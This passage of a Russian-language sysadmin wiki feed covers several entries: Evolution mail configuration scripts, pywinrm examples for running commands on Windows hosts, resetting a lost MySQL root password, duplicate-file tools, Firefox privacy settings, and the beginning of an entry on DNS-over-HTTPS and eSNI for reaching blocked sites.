[Mail Account]
BackendName=maildir
IdentityUid=self
ArchiveFolder=

[Maildir Backend]
FilterInbox=true
Path=$HOME/.local/share/evolution/mail/local
EOF

########################################################################
cat &amp;lt;&amp;lt;EOF &amp;gt; ~/.config/evolution/sources/vfolder.source
# Special built-in mail store.

[Data Source]
DisplayName=Search Folders
Enabled=false
Parent=

[Mail Account]
BackendName=vfolder
IdentityUid=self
ArchiveFolder=

[Vfolder Backend]
FilterInbox=true
EOF

##########################################################################
mkdir --parents ~/.config/evolution/mail/
cat &amp;lt;&amp;lt;EOF &amp;gt; ~/.config/evolution/mail/state.ini
[GlobalFolder]
GroupByThreads=false
PreviewVisible=true

[Store $NAME_PREFIX.3@$HOSTNAME]
Expanded=true

[Search Bar]
SearchScope=mail-scope-current-folder
SearchOption=mail-search-subject-or-addresses-contain

[Folder Tree]
Selected=folder://$NAME_PREFIX.3%40$HOSTNAME/%d0%92%d1%85%d0%be%d0%b4%d1%8f%d1%89%d0%b8%d0%b5

[Folder folder://$NAME_PREFIX.3%40$HOSTNAME/%d0%92%d1%85%d0%be%d0%b4%d1%8f%d1%89%d0%b8%d0%b5]
GroupByThreads=false
PreviewVisible=true
Expanded=true

EOF

######################################################################
### Create Signature
cat &amp;lt;&amp;lt;EOF &amp;gt; ~/.config/evolution/sources/$NAME_PREFIX.33@$HOSTNAME.source
[Data Source]
DisplayName=$MAIL
Enabled=true
Parent=

[Mail Signature]
MimeType=text/html
EOF

mkdir --parents ~/.config/evolution/signatures/
cat &amp;lt;&amp;lt;EOF &amp;gt; ~/.config/evolution/signatures/$NAME_PREFIX.33@$HOSTNAME
&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;&amp;lt;div&amp;gt;&amp;lt;b style=&amp;quot;color: rgb(0, 0, 0); font-family: Calibri, sans-serif; line-height: 18px;&amp;quot;&amp;gt;&amp;lt;span style=&amp;quot;font-size: 10pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51);&amp;quot;&amp;gt;С уважением,&amp;amp;nbsp;&amp;lt;br&amp;gt;$FULL_NAME&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;span style=&amp;quot;line-height: 18px; font-size: 10pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51);&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span style=&amp;quot;line-height: 18px; font-size: 10pt; font-family: Arial, sans-serif; color: rgb(67, 150, 57);&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;i&amp;gt;Даем людям уверенность и надежность!&amp;lt;/i&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span style=&amp;quot;line-height: 18px; font-size: 10pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51);&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;a href=&amp;quot;http://www.sberbank.ru/&amp;quot; style=&amp;quot;color: purple;&amp;quot;&amp;gt;&amp;lt;span style=&amp;quot;color: blue;&amp;quot;&amp;gt;www.sberbank.ru&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;
EOF

fi
fi

&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Evolution \u0432 KDE&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;evolution_\u0432_kde&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;877-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Thu, 04 Jul 2019 07:42:41 +0000</pubDate>
        </item>
        <item>
            <title>execute_commands_on_windows_host_using_pywinrm</title>
            <link>https://wiki.autosys.tk/linux_faq/execute_commands_on_windows_host_using_pywinrm</link>
            <description>
&lt;p&gt;
&lt;a href=&quot;https://github.com/diyan/pywinrm/&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/diyan/pywinrm/&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/diyan/pywinrm/&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;https://pypi.org/project/pywinrm/0.2.1/&quot; class=&quot;urlextern&quot; title=&quot;https://pypi.org/project/pywinrm/0.2.1/&quot; rel=&quot;ugc nofollow&quot;&gt;https://pypi.org/project/pywinrm/0.2.1/&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;https://devblogs.microsoft.com/scripting/using-winrm-on-linux/&quot; class=&quot;urlextern&quot; title=&quot;https://devblogs.microsoft.com/scripting/using-winrm-on-linux/&quot; rel=&quot;ugc nofollow&quot;&gt;https://devblogs.microsoft.com/scripting/using-winrm-on-linux/&lt;/a&gt;&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install python-dev libkrb5-dev
pip install Kerberos pywinrm&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/python

import winrm

win_host = &amp;#039;http://windows.domain.local:5985/wsman&amp;#039;
win_user = &amp;#039;user@DOMAIN.LOCAL&amp;#039;
win_pass = &amp;#039;secret_password&amp;#039;
winrm_transport=&amp;#039;ntlm&amp;#039;

s = winrm.Session(win_host, auth=(win_user, win_pass), transport=winrm_transport)
r = s.run_cmd(&amp;#039;ipconfig&amp;#039;, [&amp;#039;/all&amp;#039;])
print (r.std_out)
print (r.status_code)


ps_script = &amp;quot;&amp;quot;&amp;quot;$strComputer = $Host
Clear
$RAM = WmiObject Win32_ComputerSystem
$MB = 1048576

&amp;quot;Installed Memory: &amp;quot; + [int]($RAM.TotalPhysicalMemory /$MB) + &amp;quot; MB&amp;quot; &amp;quot;&amp;quot;&amp;quot;

r= s.run_ps(ps_script)
print (r.status_code)
print (r.std_out)&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/python

from winrm.protocol import Protocol

p = Protocol(
    endpoint=&amp;#039;https://windows-host:5986/wsman&amp;#039;,
#   endpoint=&amp;#039;http://windows-host:5985/wsman&amp;#039;,    
    transport=&amp;#039;ntlm&amp;#039;,
    username=r&amp;#039;somedomain\someuser&amp;#039;,
    password=&amp;#039;secret&amp;#039;,
    server_cert_validation=&amp;#039;ignore&amp;#039;)
shell_id = p.open_shell()
command_id = p.run_command(shell_id, &amp;#039;ipconfig&amp;#039;, [&amp;#039;/all&amp;#039;])
std_out, std_err, status_code = p.get_command_output(shell_id, command_id)
p.cleanup_command(shell_id, command_id)
p.close_shell(shell_id)
print (std_out)
print (status_code)&lt;/pre&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;ошибки&quot;&gt;Ошибки&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041e\u0448\u0438\u0431\u043a\u0438&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043e\u0448\u0438\u0431\u043a\u0438&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1358-1384&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit2&quot; id=&quot;typeerrorstartswith_first_arg_must_be_bytes&quot;&gt;TypeError: startswith first arg must be bytes...&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
При попытке запустить &lt;strong&gt;PowerShell Script&lt;/strong&gt; на русскоязычной &lt;strong&gt;Windows&lt;/strong&gt; получаем такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Traceback (most recent call last):
  File &amp;quot;./test_winrm.py&amp;quot;, line 19, in &amp;lt;module&amp;gt;
    r= s.run_ps(ps_script)
  File &amp;quot;/usr/local/lib/python3.7/dist-packages/winrm/__init__.py&amp;quot;, line 54, in run_ps
    rs.std_err = self._clean_error_msg(rs.std_err)
  File &amp;quot;/usr/local/lib/python3.7/dist-packages/winrm/__init__.py&amp;quot;, line 62, in _clean_error_msg
    if msg.startswith(&amp;quot;#&amp;lt; CLIXML\r\n&amp;quot;):
TypeError: startswith first arg must be bytes or a tuple of bytes, not str&lt;/pre&gt;

&lt;p&gt;
Обсуждение тут: &lt;a href=&quot;https://github.com/diyan/pywinrm/issues/111&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/diyan/pywinrm/issues/111&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/diyan/pywinrm/issues/111&lt;/a&gt;  &lt;br/&gt;

Судя по всему - причина в каких-то проблемах с кодировкой в функции &lt;strong&gt;_clean_error_msg(self, msg)&lt;/strong&gt;. Я просто закомментировал пару строк, которые вызывают эту функцию, которая делает удобочитаемыми сообщения об ошибках. &lt;br/&gt;

В принципе, меня вполне устроит просто проверка того, что скрипт вернул код 0. &lt;br/&gt;

В моей системе в файлике &lt;strong&gt;/usr/local/lib/python3.7/dist-packages/winrm/&lt;em class=&quot;u&quot;&gt;init&lt;/em&gt;.py&lt;/strong&gt; я закоменнтировал строки:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;      if len(rs.std_err):
          # if there was an error message, clean it it up and make it human
          # readable
          rs.std_err = self._clean_error_msg(rs.std_err)&lt;/pre&gt;

&lt;p&gt;
в функции &lt;strong&gt;run_ps(self, script)&lt;/strong&gt;. &lt;br/&gt;

Однако, если исполнять этот скрипт в среде &lt;strong&gt;python2&lt;/strong&gt;, то все отрабатывает без ошибок! 
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;TypeError: startswith first arg must be bytes...&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;typeerrorstartswith_first_arg_must_be_bytes&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;1385-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 26 Aug 2019 09:16:43 +0000</pubDate>
        </item>
        <item>
            <title>faq-по-восстановлению-забытого-пароля-администратора ...</title>
            <link>https://wiki.autosys.tk/linux_faq/faq-%D0%BF%D0%BE-%D0%B2%D0%BE%D1%81%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D1%8E-%D0%B7%D0%B0%D0%B1%D1%8B%D1%82%D0%BE%D0%B3%D0%BE-%D0%BF%D0%B0%D1%80%D0%BE%D0%BB%D1%8F-%D0%B0%D0%B4%D0%BC%D0%B8%D0%BD%D0%B8%D1%81%D1%82%D1%80%D0%B0%D1%82%D0%BE%D1%80%D0%B0-%D0%B2-mysql</link>
            <description>
&lt;h2 class=&quot;sectionedit1&quot; id=&quot;faq_по_восстановлению_забытого_пароля_администратора_в_mysql&quot;&gt;FAQ по восстановлению забытого пароля администратора в MySQL&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
В данной статье описывается что делать если вы забыли администраторский пароль или случайно удалили самого root-пользователя. &lt;br/&gt;

Статья ориентирована в первую очередь на новичков, поэтому описание всех действий изложено очень подробно, однако материал может оказаться небезынтересен и для более опытных пользователей.&lt;br/&gt;

Как восстановить забытый пароль администратора?&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Пароли хранятся в базе в зашифрованном виде, поэтому восстановить забытый пароль нельзя, однако можно установить новый. Для этого нужно:&lt;br/&gt;

1. Перезапустить сервер в режиме &lt;strong&gt;–skip-grant-tables&lt;/strong&gt;&lt;br/&gt;

2. Установить новый пароль администратора&lt;br/&gt;

3. Перезапустить сервер в обычном режиме &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Теперь подробнее о каждом пункте. В режиме &lt;strong&gt;skip-grant-tables&lt;/strong&gt; отключена проверка прав доступа и привилегий, иными словами, вы можете подключиться с пустыми логин/пароль и будете обладать при этом всеми возможными привилегиями.&lt;br/&gt;

Примечание. Обратите внимание, что другие пользователи, подключившие до выполнения вами команды &lt;strong&gt;flush privileges&lt;/strong&gt;; или перезагрузки сервера в обычном режиме, также будут обладать администраторскими правами.&lt;br/&gt;

&lt;br/&gt;

&lt;strong&gt;MySQL&lt;/strong&gt; сервер хранит информацию о привилегиях в таблицах привилегий служебной базы &lt;strong&gt;mysql&lt;/strong&gt;. &lt;br/&gt;

При старте сервера, содержимое таблиц привилегий загружается в память и в дальнейшей работе используется копия, находящаяся в памяти. &lt;br/&gt;

Команда &lt;strong&gt;flush privileges&lt;/strong&gt;; обновляет данные о привилегиях, загруженные в память. Таким образом, данная команда отменяет режим &lt;strong&gt;skip-grant-table&lt;/strong&gt; и включает проверку прав доступа и привилегий.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
&lt;strong&gt;Примечание.&lt;/strong&gt; Обратите внимание, что если вы напрямую редактируете содержимое таблиц привилегий базы mysql, с помощью команд insert, update, delete, то изменения сразу не вступят в силу, так как информация о пользовательских привелегиях, загруженная в память, останется неизменной.&lt;br/&gt;

Если использовать рекомендованные команды типа grant или set password, то изменения вступят в силу незамедлительно.&lt;br/&gt;

&lt;br/&gt;

&lt;strong&gt;Примечание.&lt;/strong&gt; Обратите внимание, что изменение прав пользователей не распространяется на уже установленные соединения пользователей. Если нужно отнять у кого-то права, то после следует убедиться, что он не подключен к серверу (с помощью &lt;strong&gt;SHOW FULL PROCESSLIST&lt;/strong&gt;), а если подключен, то убить его поток (оператором KILL). &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Для запуска сервера в режиме &lt;strong&gt;skip-grant-tables&lt;/strong&gt; проще всего временно добавить строчку &lt;strong&gt;skip-grant-tables&lt;/strong&gt; в &lt;strong&gt;my.ini&lt;/strong&gt; (для ОС &lt;strong&gt;Linux&lt;/strong&gt; файл будет называться &lt;strong&gt;my.cnf&lt;/strong&gt;) в секции &lt;strong&gt;[mysqld]&lt;/strong&gt;&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[mysqld]
skip-grant-tables&lt;/pre&gt;

&lt;p&gt;
другие параметры
&lt;/p&gt;

&lt;p&gt;
Затем перезапустить сервер.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Дальнейшие действия будут зависеть от используемого вами клиента:&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Если ваш клиент не разрывает соединение после выполнения каждой команды как, например, родной клиент &lt;strong&gt;mysql&lt;/strong&gt;, то первым делом выполняем команду &lt;strong&gt;flush privileges&lt;/strong&gt;;, которая загружает в память таблицы грантов. Затем с помощью команд &lt;strong&gt;grant&lt;/strong&gt; или &lt;strong&gt;set password&lt;/strong&gt; назначаем пароль администратору:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;set password for root@localhost=password(&amp;#039;mypassword&amp;#039;);&lt;/pre&gt;

&lt;p&gt;
&lt;br/&gt;

Данный вариант действий является предпочтительным.&lt;br/&gt;

Если ваш клиент разрывает соединение после выполнения каждой команды, например, &lt;strong&gt;Query Browser&lt;/strong&gt;, то после выполнения &lt;strong&gt;flush privileges&lt;/strong&gt;; он будет требовать указать пароль, который мы ещё не успели назначить. Назначить сначала пароль с помощью команд &lt;strong&gt;grant&lt;/strong&gt; или &lt;strong&gt;set password&lt;/strong&gt; не получится, так как в режиме &lt;strong&gt;skip-grant-tables&lt;/strong&gt; их нельзя использовать. (Выше уже указывалось, что &lt;strong&gt;flush privileges&lt;/strong&gt;; отменяет данный режим, поэтому в предыдущем пункте данные команды работают.) Остается единственно возможный способ это напрямую изменять данные в таблице mysql.user&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;UPDATE mysql.user SET password=PASSWORD(&amp;#039;mypassword&amp;#039;) WHERE user=&amp;#039;root&amp;#039; AND host=&amp;#039;localhost&amp;#039;;&lt;/pre&gt;

&lt;p&gt;
&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;FAQ \u043f\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044e \u0437\u0430\u0431\u044b\u0442\u043e\u0433\u043e \u043f\u0430\u0440\u043e\u043b\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0432 MySQL&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;faq_\u043f\u043e_\u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044e_\u0437\u0430\u0431\u044b\u0442\u043e\u0433\u043e_\u043f\u0430\u0440\u043e\u043b\u044f_\u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430_\u0432_mysql&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-6361&amp;quot;} --&gt;
&lt;h4 class=&quot;sectionedit2&quot; id=&quot;как_восстановить_root-пользователя&quot;&gt;Как восстановить root-пользователя?&lt;/h4&gt;
&lt;div class=&quot;level4&quot;&gt;

&lt;p&gt;
Если root-пользователь (пользователь, обладающий всеми возможными прривилегиями, как правило имеет имя root) был по неосторожности удален, то последовательность действий аналогична предыдущему разделу за исключением того, что вместо назначения пароля необходимо будет создать root-пользователя. Т.е. в режиме &lt;strong&gt;skip-grant-tables&lt;/strong&gt; в зависимости от используемого вами клиента действуем одним из нижеследующих способов:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;flush privileges;&lt;/pre&gt;

&lt;p&gt;
Затем добавляем root-пользователя с помощью команды grant&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;grant all ON *.* TO `root`@`localhost` identified by &amp;#039;mypassword&amp;#039; with grant option;&lt;/pre&gt;

&lt;p&gt;
Создаем root-пользователя путем прямого добавления записи в таблицу mysql.user. Обратите внимание, что структура таблицы mysql.user в разных версиях различна. Перед добавлением изучите её с помощью команд SHOW CREATE TABLE или DESCRIBE. Например, для версии 5.1.21-beta-community добавление root-пользователя производится следующей командой:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;INSERT INTO mysql.user
    (Host,User,Password,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,Repl_client_priv,Create_view_priv,Show_view_priv,Create_routine_priv,Alter_routine_priv,Create_user_priv,Event_priv,Trigger_priv,ssl_type,ssl_cipher,x509_issuer,x509_subject,max_questions,max_updates,max_connections,max_user_connections)
    VALUES(&amp;#039;localhost&amp;#039;,&amp;#039;root&amp;#039;,password(&amp;#039;mypassword&amp;#039;),&amp;#039;Y&amp;#039;,&amp;#039;Y&amp;#039;,&amp;#039;Y&amp;#039;,&amp;#039;Y&amp;#039;,&amp;#039;Y&amp;#039;,&amp;#039;Y&amp;#039;,&amp;#039;Y&amp;#039;,&amp;#039;Y&amp;#039;,&amp;#039;Y&amp;#039;,&amp;#039;Y&amp;#039;,&amp;#039;Y&amp;#039;,&amp;#039;Y&amp;#039;,&amp;#039;Y&amp;#039;,&amp;#039;Y&amp;#039;,&amp;#039;Y&amp;#039;,&amp;#039;Y&amp;#039;,&amp;#039;Y&amp;#039;,&amp;#039;Y&amp;#039;,&amp;#039;Y&amp;#039;,&amp;#039;Y&amp;#039;,&amp;#039;Y&amp;#039;,&amp;#039;Y&amp;#039;,&amp;#039;Y&amp;#039;,&amp;#039;Y&amp;#039;,&amp;#039;Y&amp;#039;,&amp;#039;Y&amp;#039;,&amp;#039;Y&amp;#039;,&amp;#039;Y&amp;#039;,//,//,//,//,0,0,0,0);&lt;/pre&gt;

&lt;p&gt;
&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041a\u0430\u043a \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c root-\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f?&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043a\u0430\u043a_\u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c_root-\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;6362-8719&amp;quot;} --&gt;
&lt;h4 class=&quot;sectionedit3&quot; id=&quot;распространенные_случаи&quot;&gt;Распространенные случаи&lt;/h4&gt;
&lt;div class=&quot;level4&quot;&gt;

&lt;p&gt;
Ошибка (&lt;strong&gt;1045  Access denied for user &amp;#039;root&amp;#039;@&amp;#039;localhost&amp;#039; (using password: No)&lt;/strong&gt;) означает, что подключение производится с пустым паролем.&lt;br/&gt;

Ошибка (&lt;strong&gt;1045  Access denied for user &amp;#039;root&amp;#039;@&amp;#039;localhost&amp;#039; (using password: Yes)&lt;/strong&gt;) указывает на неверный пароль.&lt;br/&gt;

Обе данные ошибки могут возникнуть вследствии недостатока прав доступа для выполнения требуемой операции, т.е. пользователя зовут root, но права у него не рутовые. На практике такая ситуация маловероятна.&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0435 \u0441\u043b\u0443\u0447\u0430\u0438&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0435_\u0441\u043b\u0443\u0447\u0430\u0438&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:6,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;8720-9487&amp;quot;} --&gt;
&lt;h4 class=&quot;sectionedit4&quot; id=&quot;удалённый_доступ_root-пользователя&quot;&gt;Удалённый доступ root-пользователя.&lt;/h4&gt;
&lt;div class=&quot;level4&quot;&gt;

&lt;p&gt;
В MySQL пользователь характеризуется двумя параметрами: именем и хостом, с которого он может обращаться, т.е. &lt;strong&gt;user@x&lt;/strong&gt; и &lt;strong&gt;user@y&lt;/strong&gt; - это разные пользователи. Для удобства записи в MySQL используются квантификаторы, например, &lt;strong&gt;%&lt;/strong&gt; на месте хоста означает любую машину кроме локальной.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Если при доступе под рутом с удаленной машины вы получаете ошибку (&lt;strong&gt;1045 Acces denied for user &amp;#039;root&amp;#039;@&amp;#039;%&amp;#039;&lt;/strong&gt;), то это может оказаться следствием того, что в настройках по умолчанию удаленный root-пользователь оказался не совсем “рутом”, т.е. не обладает всеми привилегиями. Для проверки нужно (под настоящим “рутом”) сравнить результат выполнения команд:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;show grants for root@localhost;
show grants for root@&amp;#039;%&amp;#039;;&lt;/pre&gt;

&lt;p&gt;
&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
И при необходимости добавить недостающие привилегии пользователю &lt;strong&gt;root@&amp;#039;%&amp;#039;&lt;/strong&gt; с помощью команды &lt;strong&gt;GRANT&lt;/strong&gt;. Если необходимо владеть привилегиями администратора при соединении с удаленной машины, то рекомендуем, в целях безопасности, называть такого пользователя другим именем (не root).&lt;br/&gt;

Ссылки&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
В официальной документации описан оригинальный способ восстановления администраторского пароля. Подробнее см. How to Reset the Root Password&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f root-\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0439_\u0434\u043e\u0441\u0442\u0443\u043f_root-\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:6,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;9488-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>find_duplicates_in_ubuntu</title>
            <link>https://wiki.autosys.tk/linux_faq/find_duplicates_in_ubuntu</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;поиск_дубликатов_файлов_в_ubuntu&quot;&gt;Поиск дубликатов файлов в Ubuntu&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Раньше был пакет fslint:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install fslint&lt;/pre&gt;

&lt;p&gt;
Однако сейчас он не поддерживается и на замену ему запилили &lt;strong&gt;czkawka&lt;/strong&gt;. Есть вариант &lt;strong&gt;cli&lt;/strong&gt; и &lt;strong&gt;gui&lt;/strong&gt; &lt;br/&gt;

&lt;a href=&quot;https://qarmin.github.io/czkawka/instructions/Installation.html&quot; class=&quot;urlextern&quot; title=&quot;https://qarmin.github.io/czkawka/instructions/Installation.html&quot; rel=&quot;ugc nofollow&quot;&gt;https://qarmin.github.io/czkawka/instructions/Installation.html&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;https://github.com/qarmin/czkawka/releases/&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/qarmin/czkawka/releases/&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/qarmin/czkawka/releases/&lt;/a&gt;
&lt;/p&gt;

&lt;/div&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Sun, 08 May 2022 06:17:24 +0000</pubDate>
        </item>
        <item>
            <title>firefox_privacy_hardening</title>
            <link>https://wiki.autosys.tk/linux_faq/firefox_privacy_hardening</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;настройки_приватности_firefox&quot;&gt;Настройки приватности Firefox&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
По-дефолту firefox передает много телеметрии (хотя и обезличенной). Но это можно отключить. тут я собираю некоторые заметки на эту тему. &lt;br/&gt;

&lt;a href=&quot;https://github.com/ghacksuserjs/ghacks-user.js&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/ghacksuserjs/ghacks-user.js&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/ghacksuserjs/ghacks-user.js&lt;/a&gt;
&lt;/p&gt;

&lt;/div&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 18 Aug 2020 08:33:18 +0000</pubDate>
        </item>
        <item>
            <title>firefox_rkn_unblock</title>
            <link>https://wiki.autosys.tk/linux_faq/firefox_rkn_unblock</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;доступ_на_заблокированные_ресурсы&quot;&gt;Доступ на заблокированные ресурсы&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Доступ на заблокированные ресурсы с помощью &lt;strong&gt;&lt;abbr title=&quot;Domain Name System&quot;&gt;DNS&lt;/abbr&gt; Over HTTPS&lt;/strong&gt; и &lt;strong&gt;eSNI (Encrypted SNI)&lt;/strong&gt;. Работает если на ресурсе включен &lt;strong&gt;eSNI&lt;/strong&gt;. На &lt;a href=&quot;https://rutracker.nl&quot; class=&quot;urlextern&quot; title=&quot;https://rutracker.nl&quot; rel=&quot;ugc nofollow&quot;&gt;https://rutracker.nl&lt;/a&gt; - включен!
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 в &lt;strong&gt;firefox&lt;/strong&gt; в &lt;strong&gt;about:config&lt;/strong&gt; меняем &lt;strong&gt;network.security.esni.enabled&lt;/strong&gt; на &lt;strong&gt;true&lt;/strong&gt;. 
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
